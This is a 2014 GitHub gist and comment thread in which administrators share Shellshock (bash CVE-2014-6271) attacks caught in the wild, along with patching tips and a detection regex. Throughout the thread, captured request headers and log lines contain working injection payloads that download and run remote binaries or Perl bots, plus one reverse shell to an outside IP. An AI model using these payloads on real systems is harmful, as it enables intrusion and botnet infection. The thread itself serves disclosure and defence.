Create a gist now

Instantly share code, notes, and snippets.

anonymous /gist:929d622f3b36b00c0be1 Secret
Created Sep 25, 2014

Ok, shits real. Its in the wild... src:162.253.66.76
GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
$ file nginx
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped
$ md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys
@aaronkaplan

oh wow... thx Rob

@GelosSnake

shit, good work

@IvRRimum

🎱

@ssilaev
ssilaev commented Sep 25, 2014

omg

@w-flo
w-flo commented Sep 25, 2014

This probably connects to 89.238.150.154:5 for C&C? Which sends a "PING", and probably expects "PONG!".

@absynth
absynth commented Sep 25, 2014

Seems to connect to 108.162.197.26 which is a cloudflare IP.

@horacio
horacio commented Sep 25, 2014

Holy bejesus.

@denartha

Curl would be better. It comes natively in nearly everything, wget does not.

@unixfreaxjp

Analysis of the ELF dropped I wrote in VT: https://www.virustotal.com/en/file/73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489/analysis/1411634118/ < see comment part. I open repo of this ELF malware family as Linux/Bash0day : http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987
Thanks Yinettesys! good findings #MalwareMustDie!!

@poggs
poggs commented Sep 25, 2014

Nice - the following text strings are in the binary:

root
admin
user
login
guest
toor
changeme
1234
12345
123456
default
pass
password

@mneimsky

denartha you should send a note to the author.

@itiki
itiki commented Sep 25, 2014

OMG

@rfc1459
rfc1459 commented Sep 25, 2014

If I had to make an uneducated guess, I'd say this thing is a rush job to get a botnet up&running really fast (lack of obfuscation, section headers weren't stripped, and so on)

@Jamyn
Jamyn commented Sep 25, 2014

This should be interesting.

@zhangran

屌~

@unsignedzero

Rob a hero!

@ABISprotocol

Thanks Yinette and Rob, et. al.,
For those who made it here and have read the thread and are wondering what they should probably do right now, the best thing would likely be to update and upgrade (for starters).

This is done from your terminal.

Mac / OSX:
brew cleanup
brew update
brew upgrade
(That should do it... you may also wish to try to see what is outdated, with this:)
brew outdated

Debian / Ubuntu: sudo apt-get update && sudo apt-get upgrade
(Once that's done, please check again from your standard software updater tool)

Fedora / CentOS: You may want to read this thing first, maybe
https://fedoraproject.org/wiki/Upgrading_Fedora_using_yum#Upgrading_Fedora_using_yum_directly

PREPAAAAAARRRRE

@ahollandECS

Just saw this user-agent in the wild as well:
() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444

@muloka
muloka commented Sep 25, 2014

@ABISprotocol re: OSX, that won't patch the system's bash. You have to compile bash yourself, follow these instructions if you want: http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/146851#146851

@bmurch
bmurch commented Sep 25, 2014

Looks like someone is gathering a list:

grep '() { :;}' *

access_log:89.207.135.125 - - [25/Sep/2014:02:52:27 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

@wilkinson

I created a gist showing how to add a line to your bashrc to identify the presence of the vulnerability. This is useful to me because I work on many different servers with many different administrators, and I sync my bashrc across machines using Git. I would appreciate input!

@4dd3r
4dd3r commented Sep 25, 2014

well that escalated qickly!

@rdev5
rdev5 commented Sep 25, 2014

Caught one passing in as User Agent string at 14:34.

Reason: User header "HTTP_USER_AGENT" contains "() { :;}"

IP Address: 93.103.21.231
Hostname: 93-103-21-231.static.t-2.net
Location: Kranj, 52 (Slovenia)
User Agent: () { :;}; wget 'http://taxiairportpop.com/s.php?s=http://target.tld/'

@nicheath

209.126.230.72 - - [25/Sep/2014:00:36:54 +0000] "GET / HTTP/1.0" 200 346 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:11:11:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 536 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
198.20.69.74 - - [25/Sep/2014:20:17:06 +0000] "GET / HTTP/1.1" 200 327 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"

Surely someone could come up with a creative script to run in place of ping. Maybe tweet the offending scanner IP address with #SHELLSHOCK hashtag.

@Colbert337

wow,cool!THX!

@nate-kingsley

Found another:

80.85.87.249 - - [25/Sep/2014:12:07:51 +0000] "GET /cgi-bin/hello HTTP/1.0" 404 290 "-" "() { :;}; /bin/bash -c "wget 82.220.38.36/r.txt -O /tmp/klogd""

@chridd
chridd commented Sep 26, 2014

bmurch: shouldn't that be "grep '() {' *"? The colon doesn't have to be a colon for it to work.

@heyflynn

109.202.102.224 - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur""

-- this one showed up a couple times on our servers today from netherlands. the source it pulls from http://213.5.67.223/jur has what looks to be a botnet with a worm component.

edit - looks like the 213.5.67.223 removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking shit in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader.

@realfx
realfx commented Sep 26, 2014

it work on android?

@rdev5
rdev5 commented Sep 26, 2014

Can anyone else confirm if this is a suitable intermediary fix whilst we wait for a more permanent fix?

akamai/bash@7caac6e

On OS X, I applied all the patches (http://ftp.gnu.org/gnu/bash/bash-4.3-patches/) and rebuilt bash 4.3 from source after making this change manually to variables.c and it appears to be working. Not able to reproduce the Bash bug vulnerability as such...

@ABISprotocol

Somebody did this that supposedly works for both Mac / OSX and (all?) Linux variants, but test it yourself and have a go: https://shellshocker.net/

@bacbos
bacbos commented Sep 26, 2014

Same here, got different requests since yesterday morning: `[26/Sep/2014:09:10:11 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 401 652 "-" "() { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1""``

@UAHR
UAHR commented Sep 26, 2014

198.101.206.138 also here:
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1052 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
213.5.67.223 - - [25/Sep/2014:15:46:35 +0200]

...and this one:
"GET /cgi-bin/his HTTP/1.0" 404 1044 "-" "() { :;}; /bin/bash -c "cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur""

@Cherrytreee

A n00b question here:
If the logs show up as 404'd does it mean the UserAgent env were not actually evaluated - i.e. exploit failed ?

@ChrisMCMine

@Cherrytreee do you have cgi scripts? If not then you're safe atm.

@Cherrytreee

@ChrisMCMine I don't. Thx!

@rdev5
rdev5 commented Sep 26, 2014

More in the wild, though it looks like one of those "Is your site affected?" website scanners like shellshocker.net (if not for the remote file fetching). In this case, I wonder if it's necessarily a good idea for people to be creating "Check your website" online testers since it provides a proxy option for people with more malicious intent.

IP Address: 74.201.85.67
Location: Atlanta, GA 30303

http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/info.sh
http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/php.fcgi
http://target.tld:80/cgi-bin/php

User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

Timestamp: 9/26/2014 8:39:45 AM
@ingie
ingie commented Sep 26, 2014

@uahr
[25/Sep/2014:11:10:43 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 403 296 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
snap!

@Neo23x0
Neo23x0 commented Sep 27, 2014

I created a regex that matches the different attacks. (egrep compatible v4)

()\s{.;\s}\s*;

Examples:
http://rubular.com/r/FRoObXn9Kx

@schallertd

just discovered a new one in our server logs..

X.X.X.X - - [27/Sep/2014:06:18:02 +0200] "GET /de HTTP/1.0" 200 36399 "-" "() { :;}; /bin/bash -c \x22wget -q -O /dev/null http://ad.dipad.biz/test/http://customer-domain-censored.com/\x22""

@behindthefirewalls

"() { :;}; /bin/bash -c "wget --delete-after http://remika.ru/userfiles/file/test.php\"

@addbook
addbook commented Sep 29, 2014

@blues-man

Found this: "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

@schallertd

and another one bites the dust..

62.210.75.170 - - [30/Sep/2014:00:13:28 +0200] "GET /de/cgi-mod/index.cgi HTTP/1.1" 404 315 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y2Vuc29yZWQtZG9tYWluLmNvbVNoZWxsU2hvY2tTYWx0 >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y2Vuc29yZWQtZG9tYWluLmNvbVNoZWxsU2hvY2tTYWx0 >> /dev/null'"

@Vic020
Vic020 commented Oct 1, 2014

Great,

@clontarfx

86.34.164.238 - - [28/Sep/2014:13:01:55 +0800] "GET / HTTP/1.0" 200 364 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""

Seems fairly straight-forward.

@tarzand
tarzand commented Oct 27, 2014

omg

@ofnothinghere

it work on android?
gif

quotes

memes

wallpaper
thats fine

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment